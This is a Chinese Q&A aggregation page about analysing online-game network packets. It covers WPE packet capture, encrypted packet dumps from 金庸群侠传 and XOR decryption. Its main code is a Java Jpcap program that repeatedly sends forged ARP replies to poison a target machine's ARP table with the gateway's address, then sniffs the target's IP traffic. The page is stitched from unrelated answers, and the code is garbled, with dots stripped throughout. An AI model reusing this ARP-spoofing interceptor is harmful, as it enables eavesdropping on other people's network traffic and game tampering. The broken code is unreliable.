
怎么去检查游戏服务器的ip地址和端口号? Internet用户使用的各种信息服务,其通讯的信息最终均可以归结为以IP包为单位的信息传送,IP包除了包括要传送的数据信息外,还包含有信息要发送到的目的IP地址、信息发送的源IP地址、以及一些相关的控制信息。当一台路由器收到一个IP数据包时,它将根据数据包中的目的IP地址项查找路由表,根据查找的结果将此IP数据包送往对应端口。下一台IP路由器收到此数据包后继续转发,直至发到目的地。路由器之间可以通过路由协议来进行路由信息的交换,从而更新路由表。那么我们所关心的内容只是IP包中的数据信息,我们可以使用许多监听网络的工具来截获客户端与服务器之间的交换数据,下面就向你介绍其中的一种工具:WPE。因为wpe是个一封包截取软件,它能截取网络上的数据封包,《传奇》采用了Client/server模式,我们的信息全在服务器上面,想从服务器上修改我们的个人用户信息,可能性为微乎其微,客户端安装在你的机器上, 玩游戏的时候,你发出指令,其实就是向服务器发送封包,服务器接收到封包后进行分析,然后返回结果,结果也是以封包的形式发送到你的机器上,你的机器接收到後就可以看到结果了。首先我们将WPE截获的封包保存为文本文件,然后打开它。这时会看到如下的数据(这里我们以金庸群侠传里PK店小二客户端发送的数据为例来讲解):第一个文件: SEND-> 0000 E6 56 0D 22 7E 6B E4 17 13 13 12 13 12 13 67 1B SEND-> 0010 17 12 DD 34 12 12 12 12 17 12 0E 12 12 12 9B SEND-> 0000 E6 56 1E F1 29 06 17 12 3B 0E 17 1A SEND-> 0000 E6 56 1B C0 68 12 12 12 5A SEND-> 0000 E6 56 02 C8 13 C9 7E 6B E4 17 10 35 27 13 12 12 SEND-> 0000 E6 56 17 C9 12第二个文件: SEND-> 0000 83 33 68 47 1B 0E 81 72 76 76 77 76 77 76 02 7E SEND-> 0010 72 77 07 1C 77 77 77 77 72 77 72 77 77 77 6D SEND-> 0000 83 33 7B 94 4C 63 72 77 5E 6B 72 F3 SEND-> 0000 83 33 7E A5 21 77 77 77 3F SEND-> 0000 83 33 67 AD 76 CF 1B 0E 81 72 75 50 42 76 77 77 SEND-> 0000 83 33 72 AC 77我们发现两次PK店小二的数据格式一样,但是内容却不相同,我们是PK的同一个NPC,为什么会不同呢? 原来金庸群侠传的封包是经过了加密运算才在网路上传输的,那么我们面临的问题就是如何将密文解密成明文再分析了。因为一般的数据包加密都是异或运算,所以这里先讲一下什么是异或。异或运算今后会遇到很多,大家可以先熟悉熟悉,熟练了对分析很有帮助的
public class LocalListener {
private final static String GATE_IP = "192168111";
private final static byte[] GATE_MAC = {0x00, 0, (byte) 0xc5, 0x42, 0x6e, (byte) 0x9a};
private JpcapCaptor jpcap; //与设备的连接
private JpcapSender sender; //用于发送的实例
private Packet replyPacket; //ARP reply包
private NetworkInterface device; //当前机器网卡设备
private IpMacMap targetIpMacMap; //目的地IP MAC对
public LocalListener(IpMacMap target) throws Exception {
NetworkInterface[] devices = JpcapCaptorgetDeviceList(); device = devices[1];
thistargetIpMacMap = target;
initSender();
initPacket();
}
private void initSender() throws Exception {
jpcap = JpcapCaptoropenDevice(device, 2000, false, 10000); //打开与设备的连接
jpcapsetFilter("ip", true); //只监听ip数据包
sender = jpcapgetJpcapSenderInstance();
}
private void initPacket() throws Exception {
//reply包的源IP和MAC地址,此IP-MAC对将会被映射到ARP表
IpMacMap targetsSd = new IpMacMap(GATE_IP, devicemac_address);
//创建修改目标机器ARP的包
replyPacket = ARPPacketGerngenPacket(targetIpMacMap, targetsSd);
//创建以太网头信息,并打包进reply包
replyPacketdatalink = EthernetPacketGerngenPacket(targetIpMacMapgetMac(),
devicemac_address);
}
public void listen() throws InterruptedException{
Thread t = new Thread(new Runnable() {
public void run() {
//发送reply封包,修改目的地arp表, arp表会在一段时间内被更新,所以需要不停发送
while(true){
send();
try {
Threadsleep(500);
} catch (InterruptedException ex) {
LoggergetLogger(LocalListenerclassgetName())log(LevelSEVERE, null, ex);
}
}
}
});
tstart();
//截获当前网络设备的封包收发信息
while(true){
IPPacket ipPacket = (IPPacket)jpcapgetPacket();
Systemoutprintln(ipPacket);
}
}}
//IP-MAC实体,只用于保存一对IP-MAC地址
public class IpMacMap {
private String ip;
private byte[] mac;
public IpMacMap(){
}
public IpMacMap(String ip, byte[] mac){
thisip = ip;
thismac = mac;
}
public String getIp() {
return ip;
}
public void setIp(String ip) {
thisip = ip;
}
public byte[] getMac() {
return mac;
}
public void setMac(byte[] mac) {
thismac = mac;
}
}
//ARP reply包生成类,用于根据目的地址和源地址生成reply包
public class ARPPacketGern{
public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{
ARPPacket arpTarget = new ARPPacket();
arpTargethardtype = ARPPacketHARDTYPE_ETHER; //选择以太网类型(Ethernet)
arpTargetprototype = ARPPacketPROTOTYPE_IP; //选择IP网络协议类型
arpTargetoperation = ARPPacketARP_REPLY; //选择REPLY类型
arpTargethlen = 6; //MAC地址长度固定6个字节
arpTargetplen = 4; //IP地址长度固定4个字节
arpTargettarget_hardaddr = targetgetMac();
arpTargettarget_protoaddr = InetAddressgetByName(targetgetIp())getAddress();
arpTargetsender_hardaddr = sendergetMac();
arpTargetsender_protoaddr = InetAddressgetByName(sendergetIp())getAddress();
return arpTarget;
}
}
//根据目的地MAC和源MAC构建以太网头信息,用于传输数据
public class EthernetPacketGern{
public static EthernetPacket genPacket(byte[] targetMac, byte[] senderMac) throws Exception {
EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头
ethToTargetframetype = EthernetPacketETHERTYPE_ARP; //选择以太包类型
ethToTargetdst_mac = targetMac;
ethToTargetsrc_mac = senderMac;
return ethToTarget;
}
}
封包是加密没错。你只发来一段封包有什么用?
一堆十六进制不可能有人能看出来是什么。封包是要对游戏分析的。通过多次载取同一效果的封包。进行对比。然后进行解密的。不是发数据就能的。
以上就是关于怎么分析封包全部的内容,包括:怎么分析封包、JAVA程序获取封包IP,求帮忙写个程序分析封包IP。、wpe截取封包的问题等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!
欢迎分享,转载请注明来源:内存溢出
微信扫一扫
支付宝扫一扫
评论列表(0条)